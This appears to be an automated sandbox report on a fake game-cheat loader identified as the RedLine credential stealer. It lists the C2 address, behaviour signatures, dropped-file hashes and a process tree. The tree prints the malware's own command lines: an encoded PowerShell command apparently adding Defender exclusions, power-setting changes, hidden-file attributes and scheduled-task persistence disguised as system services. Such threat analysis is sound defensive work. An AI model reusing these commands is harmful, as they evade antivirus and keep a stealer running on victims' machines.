Resubmissions

21/01/2025, 08:24

250121-ka7wnavmhr10

12/06/2024, 04:32

240612-e6ft6a1cmr10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/06/2024, 04:32

General

  • Target
    MultiHack v1.7/Loader.exe
  • Size 613KB
  • Sample240612-e6ft6a1cmr
  • SHA256 d32338a207e0c9389388cebeb45abe709e4dc6fe02d0f8267b478fd2cfeb1760
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • redline

Botnet
  • @bloodyrain12

C2
  • 147.45.47.93:80

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 4 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of WriteProcessMemory 41 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\MultiHack v1.7\Loader.exe
    "C:\Users\Admin\AppData\Local\Temp\MultiHack v1.7\Loader.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1136
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2028
      • C:\Users\Admin\AppData\Local\Temp\conhost.exe
        "C:\Users\Admin\AppData\Local\Temp\conhost.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4264
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:396
          • C:\Windows\system32\mode.com
            mode 65,10
            5⤵
              PID:3476
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e file.zip -p2644924162377919422435812936 -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:3364
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_2.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:3508
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_1.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:1848
            • C:\Windows\system32\attrib.exe
              attrib +H "Installer.exe"
              5⤵
              • Views/modifies file attributes
              PID:4388
            • C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
              "Installer.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:2676
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /C powershell -EncodedCommand "PAAjAEIATQBhADUARwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEIATQAwAEgAQQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBDADAAUgA3AG4AeAB1AGUAagAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHYAQwAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3380
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -EncodedCommand "PAAjAEIATQBhADUARwAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAEIATQAwAEgAQQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwBDADAAUgA3AG4AeAB1AGUAagAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHYAQwAjAD4A"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4080
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                6⤵
                  PID:4060
                  • C:\Windows\SysWOW64\schtasks.exe
                    SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                    7⤵
                    • Creates scheduled task(s)
                    PID:32
                • C:\Windows\SysWOW64\cmd.exe
                  "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk4415" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4584
                  • C:\Windows\SysWOW64\schtasks.exe
                    SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk4415" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                    7⤵
                    • Creates scheduled task(s)
                    PID:4524

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            Tmp58AF.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\Tmp58AF.tmp
            • Size 2KB
            • SHA256 f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_34e5byeg.owp.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_34e5byeg.owp.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            conhost.exe

            • Path C:\Users\Admin\AppData\Local\Temp\conhost.exe
            • Size 2.5MB
            • SHA256 09ec3bf64600d1fedbd11bb3ebb705a0f541d1310f5f8690de70d37648fcd4b4
            • MD5 SHA1 SHA512 SSDEEP

            7z.dll

            • Path C:\Users\Admin\AppData\Local\Temp\main\7z.dll
            • Size 1.6MB
            • SHA256 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891
            • MD5 SHA1 SHA512 SSDEEP

            7z.exe

            • Path C:\Users\Admin\AppData\Local\Temp\main\7z.exe
            • Size 458KB
            • SHA256 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2
            • MD5 SHA1 SHA512 SSDEEP

            ANTIAV~1.DAT

            • Path C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT
            • Size 2.2MB
            • SHA256 a4d039e3b02b452f98b7a5631d7cf713f1276c256da1ed1f468a90d5bdf0fd96
            • MD5 SHA1 SHA512 SSDEEP

            Installer.exe

            • Path C:\Users\Admin\AppData\Local\Temp\main\extracted\Installer.exe
            • Size 21KB
            • SHA256 478f897b45e515b498c0d6f4a27dd9efeed260bc3cea4300103cc2d6ea12ea37
            • MD5 SHA1 SHA512 SSDEEP

            file_1.zip

            • Path C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip
            • Size 9KB
            • SHA256 be4b20f6a5866d395f0bd5bb5b5a14884b3ef01521aac950c6bcdde68df472c7
            • MD5 SHA1 SHA512 SSDEEP

            file_2.zip

            • Path C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip
            • Size 1.6MB
            • SHA256 ef87c02f5d905b4de8d4160c17b00534e47d270848d2ff9abccef426ee80a0f8
            • MD5 SHA1 SHA512 SSDEEP

            file.bin

            • Path C:\Users\Admin\AppData\Local\Temp\main\file.bin
            • Size 1.6MB
            • SHA256 1b585c3c84b492ab4f7aecdc812d2a5fe7afa0e185d064cac835011e2a27f2e1
            • MD5 SHA1 SHA512 SSDEEP

            main.bat

            • Path C:\Users\Admin\AppData\Local\Temp\main\main.bat
            • Size 474B
            • SHA256 e7b95be97a4c88bd7fdb1b953f6c27c4a184538228a63c30aa8e5282854d24b9
            • MD5 SHA1 SHA512

            d3d9.dll

            • Path C:\Users\Admin\AppData\Roaming\d3d9.dll
            • Size 424KB
            • SHA256 6acaef80c9fa895febc846f53429bc104a1e31c0f6ef594cba173f43cee3691c
            • MD5 SHA1 SHA512 SSDEEP

            memory/1136-101-0x0000000075060000-0x0000000075810000-memory.dmp

            memory/1136-1-0x0000000000210000-0x00000000002B2000-memory.dmp

            memory/1136-0-0x000000007506E000-0x000000007506F000-memory.dmp

            memory/1136-2-0x0000000004CE0000-0x0000000004CE6000-memory.dmp

            memory/1136-12-0x0000000075060000-0x0000000075810000-memory.dmp

            memory/1136-11-0x0000000077B01000-0x0000000077C21000-memory.dmp

            memory/2028-35-0x0000000005EC0000-0x0000000005EDE000-memory.dmp

            memory/2028-42-0x0000000006760000-0x0000000006772000-memory.dmp

            memory/2028-45-0x00000000089E0000-0x0000000008A46000-memory.dmp

            memory/2028-46-0x0000000008FA0000-0x0000000008FF0000-memory.dmp

            memory/2028-47-0x0000000009E10000-0x0000000009FD2000-memory.dmp

            memory/2028-48-0x000000000A510000-0x000000000AA3C000-memory.dmp

            memory/2028-49-0x0000000075060000-0x0000000075810000-memory.dmp

            memory/2028-43-0x00000000067C0000-0x00000000067FC000-memory.dmp

            memory/2028-68-0x0000000075060000-0x0000000075810000-memory.dmp

            memory/2028-9-0x0000000000420000-0x0000000000472000-memory.dmp

            memory/2028-41-0x00000000080D0000-0x00000000081DA000-memory.dmp

            memory/2028-40-0x0000000006850000-0x0000000006E68000-memory.dmp

            memory/2028-34-0x0000000005810000-0x0000000005886000-memory.dmp

            memory/2028-17-0x0000000075060000-0x0000000075810000-memory.dmp

            memory/2028-16-0x0000000004A40000-0x0000000004A4A000-memory.dmp

            memory/2028-15-0x0000000004980000-0x0000000004A12000-memory.dmp

            memory/2028-13-0x0000000004FE0000-0x0000000005584000-memory.dmp

            memory/2028-44-0x0000000006800000-0x000000000684C000-memory.dmp

            memory/2028-14-0x0000000075060000-0x0000000075810000-memory.dmp

            memory/2676-100-0x00000000003F0000-0x00000000003FC000-memory.dmp

            memory/4080-102-0x0000000003340000-0x0000000003376000-memory.dmp

            memory/4080-129-0x0000000006ED0000-0x0000000006EEE000-memory.dmp

            memory/4080-110-0x0000000006170000-0x0000000006192000-memory.dmp

            memory/4080-111-0x0000000006310000-0x0000000006376000-memory.dmp

            memory/4080-115-0x0000000006460000-0x00000000067B4000-memory.dmp

            memory/4080-116-0x00000000068F0000-0x000000000690E000-memory.dmp

            memory/4080-117-0x0000000006990000-0x00000000069DC000-memory.dmp

            memory/4080-118-0x0000000007AD0000-0x0000000007B02000-memory.dmp

            memory/4080-119-0x0000000071A10000-0x0000000071A5C000-memory.dmp

            memory/4080-103-0x0000000005A90000-0x00000000060B8000-memory.dmp

            memory/4080-130-0x0000000007B10000-0x0000000007BB3000-memory.dmp

            memory/4080-131-0x0000000008260000-0x00000000088DA000-memory.dmp

            memory/4080-132-0x0000000007C20000-0x0000000007C3A000-memory.dmp

            memory/4080-133-0x0000000007C90000-0x0000000007C9A000-memory.dmp

            memory/4080-134-0x0000000007EB0000-0x0000000007F46000-memory.dmp

            memory/4080-135-0x0000000007E20000-0x0000000007E31000-memory.dmp

            memory/4080-139-0x0000000007E60000-0x0000000007E6E000-memory.dmp

            memory/4080-141-0x0000000007E70000-0x0000000007E84000-memory.dmp

            memory/4080-142-0x0000000007F50000-0x0000000007F6A000-memory.dmp

            memory/4080-143-0x0000000007EA0000-0x0000000007EA8000-memory.dmp